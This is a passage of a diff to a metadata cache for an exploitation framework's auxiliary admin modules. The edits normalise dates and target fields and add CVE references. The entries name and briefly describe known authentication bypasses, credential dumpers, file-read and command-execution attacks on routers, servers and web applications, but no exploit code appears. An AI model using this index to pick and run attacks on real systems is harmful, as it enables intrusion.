"rport": "8008", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/firetv/firetv_youtube.rb", "is_install_path": true, @@ -577,7 +538,7 @@ "name": "HP Data Protector 6.1 EXEC_CMD Command Execution", "full_name": "auxiliary/admin/hp/hp_data_protector_cmd", "rank": 300, - "disclosure_date": "2011-02-07 00:00:00 -0600", + "disclosure_date": "2011-02-07", "type": "auxiliary", "author": [ "ch0ks", @@ -597,9 +558,7 @@ "platform": "", "arch": "", "rport": "5555", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb", "is_install_path": true, @@ -609,7 +568,7 @@ "name": "HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation", "full_name": "auxiliary/admin/hp/hp_ilo_create_admin_account", "rank": 300, - "disclosure_date": "2017-08-24 00:00:00 -0500", + "disclosure_date": "2017-08-24", "type": "auxiliary", "author": [ "Fabien Perigaud " @@ -626,9 +585,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-16 16:46:50 +0000", "path": "/modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb", "is_install_path": true, @@ -638,7 +595,7 @@ "name": "HP Intelligent Management SOM Account Creation", "full_name": "auxiliary/admin/hp/hp_imc_som_create_account", "rank": 300, - "disclosure_date": "2013-10-08 00:00:00 -0500", + "disclosure_date": "2013-10-08", "type": "auxiliary", "author": [ "rgod ", @@ -657,9 +614,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb", "is_install_path": true, @@ -669,7 +624,7 @@ "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass", "full_name": "auxiliary/admin/http/allegro_rompager_auth_bypass", "rank": 300, - "disclosure_date": "2014-12-17 00:00:00 -0600", + "disclosure_date": "2014-12-17", "type": "auxiliary", "author": [ "Jon Hart ", @@ -688,9 +643,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb", "is_install_path": true, @@ -700,7 +653,7 @@ "name": "Arris / Motorola Surfboard SBG6580 Web Interface Takeover", "full_name": "auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss", "rank": 300, - "disclosure_date": "2015-04-08 00:00:00 -0500", + "disclosure_date": "2015-04-08", "type": "auxiliary", "author": [ "joev " @@ -717,9 +670,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb", "is_install_path": true, @@ -729,7 +680,7 @@ "name": "Axigen Arbitrary File Read and Delete", "full_name": "auxiliary/admin/http/axigen_file_access", "rank": 300, - "disclosure_date": "2012-10-31 00:00:00 -0500", + "disclosure_date": "2012-10-31", "type": "auxiliary", "author": [ "Zhao Liang", @@ -746,9 +697,7 @@ "platform": "", "arch": "", "rport": "9000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/axigen_file_access.rb", "is_install_path": true, @@ -758,7 +707,7 @@ "name": "Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection", "full_name": "auxiliary/admin/http/cfme_manageiq_evm_pass_reset", "rank": 300, - "disclosure_date": "2013-11-12 00:00:00 -0600", + "disclosure_date": "2013-11-12", "type": "auxiliary", "author": [ "Ramon de C Valle " @@ -774,9 +723,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb", "is_install_path": true, @@ -801,9 +748,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 16:53:02 +0000", "path": "/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb", "is_install_path": true, @@ -828,9 +773,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-19 16:53:02 +0000", "path": "/modules/auxiliary/admin/http/cnpilot_r_fpt.rb", "is_install_path": true, @@ -855,9 +798,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb", "is_install_path": true, @@ -867,7 +808,7 @@ "name": "D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution", "full_name": "auxiliary/admin/http/dlink_dir_300_600_exec_noauth", "rank": 300, - "disclosure_date": "2013-02-04 00:00:00 -0600", + "disclosure_date": "2013-02-04", "type": "auxiliary", "author": [ "Michael Messner " @@ -885,9 +826,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb", "is_install_path": true, @@ -914,9 +853,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-30 15:18:23 +0000", "path": "/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb", "is_install_path": true, @@ -942,9 +879,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-30 15:18:23 +0000", "path": "/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb", "is_install_path": true, @@ -954,7 +889,7 @@ "name": "Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment", "full_name": "auxiliary/admin/http/foreman_openstack_satellite_priv_esc", "rank": 300, - "disclosure_date": "2013-06-06 00:00:00 -0500", + "disclosure_date": "2013-06-06", "type": "auxiliary", "author": [ "Ramon de C Valle " @@ -973,9 +908,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb", "is_install_path": true, @@ -985,7 +918,7 @@ "name": "GitStack Unauthenticated REST API Requests", "full_name": "auxiliary/admin/http/gitstack_rest", "rank": 300, - "disclosure_date": "2018-01-15 00:00:00 -0600", + "disclosure_date": "2018-01-15", "type": "auxiliary", "author": [ "Kacper Szurek", @@ -1002,9 +935,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-09 07:43:12 +0000", "path": "/modules/auxiliary/admin/http/gitstack_rest.rb", "is_install_path": true, @@ -1014,7 +945,7 @@ "name": "HP Web JetAdmin 6.5 Server Arbitrary Command Execution", "full_name": "auxiliary/admin/http/hp_web_jetadmin_exec", "rank": 300, - "disclosure_date": "2004-04-27 00:00:00 -0500", + "disclosure_date": "2004-04-27", "type": "auxiliary", "author": [ "aushack " @@ -1030,9 +961,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb", "is_install_path": true, @@ -1042,7 +971,7 @@ "name": "MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass", "full_name": "auxiliary/admin/http/iis_auth_bypass", "rank": 300, - "disclosure_date": "2010-07-02 00:00:00 -0500", + "disclosure_date": "2010-07-02", "type": "auxiliary", "author": [ "Soroush Dalili", @@ -1060,9 +989,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/iis_auth_bypass.rb", "is_install_path": true, @@ -1072,7 +999,7 @@ "name": "Intersil (Boa) HTTPd Basic Authentication Password Reset", "full_name": "auxiliary/admin/http/intersil_pass_reset", "rank": 300, - "disclosure_date": "2007-09-10 00:00:00 -0500", + "disclosure_date": "2007-09-10", "type": "auxiliary", "author": [ "Luca \"ikki\" Carettoni ", @@ -1081,6 +1008,7 @@ ], "description": "The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11\n allows basic authentication bypass when the user string is greater\n than 127 bytes long. The long string causes the password to be\n overwritten in memory, which enables the attacker to reset the\n password. In addition, the malicious attempt also may cause a\n denial-of-service condition.\n\n Please note that you must set the request URI to the directory that\n requires basic authentication in order to work properly.", "references": [ + "CVE-2007-4915", "BID-25676", "PACKETSTORM-59347" ], @@ -1089,9 +1017,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/admin/http/intersil_pass_reset.rb", "is_install_path": true, @@ -1116,9 +1042,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb", "is_install_path": true, @@ -1145,9 +1069,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/jboss_bshdeployer.rb", "is_install_path": true, @@ -1174,9 +1096,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb", "is_install_path": true, @@ -1186,7 +1106,7 @@ "name": "JBoss Seam 2 Remote Command Execution", "full_name": "auxiliary/admin/http/jboss_seam_exec", "rank": 300, - "disclosure_date": "2010-07-19 00:00:00 -0500", + "disclosure_date": "2010-07-19", "type": "auxiliary", "author": [ "guerrino di massa", @@ -1202,9 +1122,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/jboss_seam_exec.rb", "is_install_path": true, @@ -1214,7 +1132,7 @@ "name": "Joomla Account Creation and Privilege Escalation", "full_name": "auxiliary/admin/http/joomla_registration_privesc", "rank": 300, - "disclosure_date": "2016-10-25 00:00:00 -0500", + "disclosure_date": "2016-10-25", "type": "auxiliary", "author": [ "Fabio Pires ", @@ -1234,9 +1152,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/joomla_registration_privesc.rb", "is_install_path": true, @@ -1246,7 +1162,7 @@ "name": "Kaseya VSA Master Administrator Account Creation", "full_name": "auxiliary/admin/http/kaseya_master_admin", "rank": 300, - "disclosure_date": "2015-09-23 00:00:00 -0500", + "disclosure_date": "2015-09-23", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1263,9 +1179,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/kaseya_master_admin.rb", "is_install_path": true, @@ -1275,7 +1189,7 @@ "name": "Katello (Red Hat Satellite) users/update_roles Missing Authorization", "full_name": "auxiliary/admin/http/katello_satellite_priv_esc", "rank": 300, - "disclosure_date": "2014-03-24 00:00:00 -0500", + "disclosure_date": "2014-03-24", "type": "auxiliary", "author": [ "Ramon de C Valle " @@ -1291,9 +1205,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb", "is_install_path": true, @@ -1303,7 +1215,7 @@ "name": "Limesurvey Unauthenticated File Download", "full_name": "auxiliary/admin/http/limesurvey_file_download", "rank": 300, - "disclosure_date": "2015-10-12 00:00:00 -0500", + "disclosure_date": "2015-10-12", "type": "auxiliary", "author": [ "Pichaya Morimoto", @@ -1320,9 +1232,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/limesurvey_file_download.rb", "is_install_path": true, @@ -1332,7 +1242,7 @@ "name": "Linksys E1500/E2500 Remote Command Execution", "full_name": "auxiliary/admin/http/linksys_e1500_e2500_exec", "rank": 300, - "disclosure_date": "2013-02-05 00:00:00 -0600", + "disclosure_date": "2013-02-05", "type": "auxiliary", "author": [ "Michael Messner " @@ -1349,9 +1259,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb", "is_install_path": true, @@ -1361,7 +1269,7 @@ "name": "Linksys WRT120N tmUnblock Stack Buffer Overflow", "full_name": "auxiliary/admin/http/linksys_tmunblock_admin_reset_bof", "rank": 300, - "disclosure_date": "2014-02-19 00:00:00 -0600", + "disclosure_date": "2014-02-19", "type": "auxiliary", "author": [ "Craig Heffner", @@ -1378,9 +1286,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb", "is_install_path": true, @@ -1390,7 +1296,7 @@ "name": "Linksys WRT54GL Remote Command Execution", "full_name": "auxiliary/admin/http/linksys_wrt54gl_exec", "rank": 300, - "disclosure_date": "2013-01-18 00:00:00 -0600", + "disclosure_date": "2013-01-18", "type": "auxiliary", "author": [ "Michael Messner " @@ -1408,9 +1314,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "is_install_path": true, @@ -1420,7 +1324,7 @@ "name": "ManageEngine Desktop Central Administrator Account Creation", "full_name": "auxiliary/admin/http/manage_engine_dc_create_admin", "rank": 300, - "disclosure_date": "2014-12-31 00:00:00 -0600", + "disclosure_date": "2014-12-31", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1437,9 +1341,7 @@ "platform": "", "arch": "", "rport": "8020", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb", "is_install_path": true, @@ -1449,7 +1351,7 @@ "name": "ManageEngine Multiple Products Arbitrary Directory Listing", "full_name": "auxiliary/admin/http/manageengine_dir_listing", "rank": 300, - "disclosure_date": "2015-01-28 00:00:00 -0600", + "disclosure_date": "2015-01-28", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1466,9 +1368,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/manageengine_dir_listing.rb", "is_install_path": true, @@ -1478,7 +1378,7 @@ "name": "ManageEngine Multiple Products Arbitrary File Download", "full_name": "auxiliary/admin/http/manageengine_file_download", "rank": 300, - "disclosure_date": "2015-01-28 00:00:00 -0600", + "disclosure_date": "2015-01-28", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1495,9 +1395,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/manageengine_file_download.rb", "is_install_path": true, @@ -1507,7 +1405,7 @@ "name": "ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection", "full_name": "auxiliary/admin/http/manageengine_pmp_privesc", "rank": 300, - "disclosure_date": "2014-11-08 00:00:00 -0600", + "disclosure_date": "2014-11-08", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1524,9 +1422,7 @@ "platform": "", "arch": "", "rport": "7272", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb", "is_install_path": true, @@ -1536,7 +1432,7 @@ "name": "MantisBT password reset", "full_name": "auxiliary/admin/http/mantisbt_password_reset", "rank": 300, - "disclosure_date": "2017-04-16 00:00:00 -0500", + "disclosure_date": "2017-04-16", "type": "auxiliary", "author": [ "John (hyp3rlinx) Page", @@ -1554,9 +1450,7 @@ "platform": "Linux,Windows", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/mantisbt_password_reset.rb", "is_install_path": true, @@ -1566,7 +1460,7 @@ "name": "Mutiny 5 Arbitrary File Read and Delete", "full_name": "auxiliary/admin/http/mutiny_frontend_read_delete", "rank": 300, - "disclosure_date": "2013-05-15 00:00:00 -0500", + "disclosure_date": "2013-05-15", "type": "auxiliary", "author": [ "juan vazquez " @@ -1582,9 +1476,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb", "is_install_path": true, @@ -1594,7 +1486,7 @@ "name": "ManageEngine NetFlow Analyzer Arbitrary File Download", "full_name": "auxiliary/admin/http/netflow_file_download", "rank": 300, - "disclosure_date": "2014-11-30 00:00:00 -0600", + "disclosure_date": "2014-11-30", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1611,9 +1503,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/netflow_file_download.rb", "is_install_path": true, @@ -1623,7 +1513,7 @@ "name": "NETGEAR ProSafe Network Management System 300 Authenticated File Download", "full_name": "auxiliary/admin/http/netgear_auth_download", "rank": 300, - "disclosure_date": "2016-02-04 00:00:00 -0600", + "disclosure_date": "2016-02-04", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1640,9 +1530,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/http/netgear_auth_download.rb", "is_install_path": true, @@ -1652,7 +1540,7 @@ "name": "Netgear Unauthenticated SOAP Password Extractor", "full_name": "auxiliary/admin/http/netgear_soap_password_extractor", "rank": 300, - "disclosure_date": "2015-02-11 00:00:00 -0600", + "disclosure_date": "2015-02-11", "type": "auxiliary", "author": [ "Peter Adkins ", @@ -1670,9 +1558,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb", "is_install_path": true, @@ -1682,7 +1568,7 @@ "name": "NETGEAR WNR2000v5 Administrator Password Recovery", "full_name": "auxiliary/admin/http/netgear_wnr2000_pass_recovery", "rank": 300, - "disclosure_date": "2016-12-20 00:00:00 -0600", + "disclosure_date": "2016-12-20", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1700,9 +1586,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb", "is_install_path": true, @@ -1728,9 +1612,7 @@ "platform": "", "arch": "", "rport": "3780", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-30 15:18:23 +0000", "path": "/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb", "is_install_path": true, @@ -1757,9 +1639,7 @@ "platform": "", "arch": "", "rport": "3037", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb", "is_install_path": true, @@ -1769,7 +1649,7 @@ "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset", "full_name": "auxiliary/admin/http/nuuo_nvrmini_reset", "rank": 300, - "disclosure_date": "2016-08-04 00:00:00 -0500", + "disclosure_date": "2016-08-04", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1786,9 +1666,7 @@ "platform": "", "arch": "", "rport": "8081", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb", "is_install_path": true, @@ -1798,7 +1676,7 @@ "name": "Openbravo ERP XXE Arbitrary File Read", "full_name": "auxiliary/admin/http/openbravo_xxe", "rank": 300, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "auxiliary", "author": [ "Brandon Perry " @@ -1815,9 +1693,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/http/openbravo_xxe.rb", "is_install_path": true, @@ -1827,7 +1703,7 @@ "name": "Postfixadmin Protected Alias Deletion Vulnerability", "full_name": "auxiliary/admin/http/pfadmin_set_protected_alias", "rank": 300, - "disclosure_date": "2017-02-03 00:00:00 -0600", + "disclosure_date": "2017-02-03", "type": "auxiliary", "author": [ "Jan-Frederik Rieckers" @@ -1843,9 +1719,7 @@ "platform": "PHP", "arch": "php", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-30 13:03:36 +0000", "path": "/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb", "is_install_path": true, @@ -1855,7 +1729,7 @@ "name": "Ruby on Rails Devise Authentication Password Reset", "full_name": "auxiliary/admin/http/rails_devise_pass_reset", "rank": 300, - "disclosure_date": "2013-01-28 00:00:00 -0600", + "disclosure_date": "2013-01-28", "type": "auxiliary", "author": [ "joernchen", @@ -1876,9 +1750,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/rails_devise_pass_reset.rb", "is_install_path": true, @@ -1888,7 +1760,7 @@ "name": "ScadaBR Credentials Dumper", "full_name": "auxiliary/admin/http/scadabr_credential_dump", "rank": 300, - "disclosure_date": "2017-05-28 00:00:00 -0500", + "disclosure_date": "2017-05-28", "type": "auxiliary", "author": [ "Brendan Coles " @@ -1902,9 +1774,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/scadabr_credential_dump.rb", "is_install_path": true, @@ -1914,7 +1784,7 @@ "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass", "full_name": "auxiliary/admin/http/scrutinizer_add_user", "rank": 300, - "disclosure_date": "2012-07-27 00:00:00 -0500", + "disclosure_date": "2012-07-27", "type": "auxiliary", "author": [ "MC ", @@ -1933,9 +1803,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/scrutinizer_add_user.rb", "is_install_path": true, @@ -1945,7 +1813,7 @@ "name": "Sophos Web Protection Appliance patience.cgi Directory Traversal", "full_name": "auxiliary/admin/http/sophos_wpa_traversal", "rank": 300, - "disclosure_date": "2013-04-03 00:00:00 -0500", + "disclosure_date": "2013-04-03", "type": "auxiliary", "author": [ "Wolfgang Ettlingers", @@ -1965,9 +1833,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/sophos_wpa_traversal.rb", "is_install_path": true, @@ -1977,7 +1843,7 @@ "name": "SysAid Help Desk Administrator Account Creation", "full_name": "auxiliary/admin/http/sysaid_admin_acct", "rank": 300, - "disclosure_date": "2015-06-03 00:00:00 -0500", + "disclosure_date": "2015-06-03", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -1993,9 +1859,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/sysaid_admin_acct.rb", "is_install_path": true, @@ -2005,7 +1869,7 @@ "name": "SysAid Help Desk Arbitrary File Download", "full_name": "auxiliary/admin/http/sysaid_file_download", "rank": 300, - "disclosure_date": "2015-06-03 00:00:00 -0500", + "disclosure_date": "2015-06-03", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -2022,9 +1886,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/sysaid_file_download.rb", "is_install_path": true, @@ -2034,7 +1896,7 @@ "name": "SysAid Help Desk Database Credentials Disclosure", "full_name": "auxiliary/admin/http/sysaid_sql_creds", "rank": 300, - "disclosure_date": "2015-06-03 00:00:00 -0500", + "disclosure_date": "2015-06-03", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -2051,9 +1913,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/sysaid_sql_creds.rb", "is_install_path": true, @@ -2063,7 +1923,7 @@ "name": "Telpho10 Backup Credentials Dumper", "full_name": "auxiliary/admin/http/telpho10_credential_dump", "rank": 300, - "disclosure_date": "2016-09-02 00:00:00 -0500", + "disclosure_date": "2016-09-02", "type": "auxiliary", "author": [ "Jan Rude" @@ -2077,9 +1937,7 @@ "platform": "Linux", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-23 09:32:41 +0000", "path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb", "is_install_path": true, @@ -2103,9 +1961,7 @@ "platform": "", "arch": "", "rport": "8180", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/tomcat_administration.rb", "is_install_path": true, @@ -2115,7 +1971,7 @@ "name": "Tomcat UTF-8 Directory Traversal Vulnerability", "full_name": "auxiliary/admin/http/tomcat_utf8_traversal", "rank": 300, - "disclosure_date": "2009-01-09 00:00:00 -0600", + "disclosure_date": "2009-01-09", "type": "auxiliary", "author": [ "aushack ", @@ -2133,9 +1989,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/http/tomcat_utf8_traversal.rb", "is_install_path": true, @@ -2145,7 +1999,7 @@ "name": "TrendMicro Data Loss Prevention 5.5 Directory Traversal", "full_name": "auxiliary/admin/http/trendmicro_dlp_traversal", "rank": 300, - "disclosure_date": "2009-01-09 00:00:00 -0600", + "disclosure_date": "2009-01-09", "type": "auxiliary", "author": [ "aushack " @@ -2165,9 +2019,7 @@ "platform": "", "arch": "", "rport": "8443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/http/trendmicro_dlp_traversal.rb", "is_install_path": true, @@ -2177,7 +2029,7 @@ "name": "TYPO3 News Module SQL Injection", "full_name": "auxiliary/admin/http/typo3_news_module_sqli", "rank": 300, - "disclosure_date": "2017-04-06 00:00:00 -0500", + "disclosure_date": "2017-04-06", "type": "auxiliary", "author": [ "Marco Rivoli", @@ -2193,9 +2045,7 @@ "platform": "PHP", "arch": "php", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-15 10:46:08 +0000", "path": "/modules/auxiliary/admin/http/typo3_news_module_sqli.rb", "is_install_path": true, @@ -2205,13 +2055,14 @@ "name": "TYPO3 sa-2009-001 Weak Encryption Key File Disclosure", "full_name": "auxiliary/admin/http/typo3_sa_2009_001", "rank": 300, - "disclosure_date": "2009-01-20 00:00:00 -0600", + "disclosure_date": "2009-01-20", "type": "auxiliary", "author": [ "Chris John Riley" ], "description": "This module exploits a flaw in TYPO3 encryption ey creation process to allow for\n file disclosure in the jumpUrl mechanism. This flaw can be used to read any file\n that the web server user account has access to view.", "references": [ + "CVE-2009-0255", "OSVDB-51536", "URL-http://blog.c22.cc/advisories/typo3-sa-2009-001", "URL-http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/" @@ -2221,9 +2072,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2009_001.rb", "is_install_path": true, @@ -2233,7 +2082,7 @@ "name": "Typo3 sa-2009-002 File Disclosure", "full_name": "auxiliary/admin/http/typo3_sa_2009_002", "rank": 300, - "disclosure_date": "2009-02-10 00:00:00 -0600", + "disclosure_date": "2009-02-10", "type": "auxiliary", "author": [ "spinbad " @@ -2251,9 +2100,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2009_002.rb", "is_install_path": true, @@ -2271,6 +2118,7 @@ ], "description": "This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.\n Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.\n This flaw can be used to read any file that the web server user account has access to view.", "references": [ + "CVE-2010-3714", "URL-http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020", "URL-http://gregorkopf.de/slides_berlinsides_2010.pdf" ], @@ -2279,9 +2127,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - 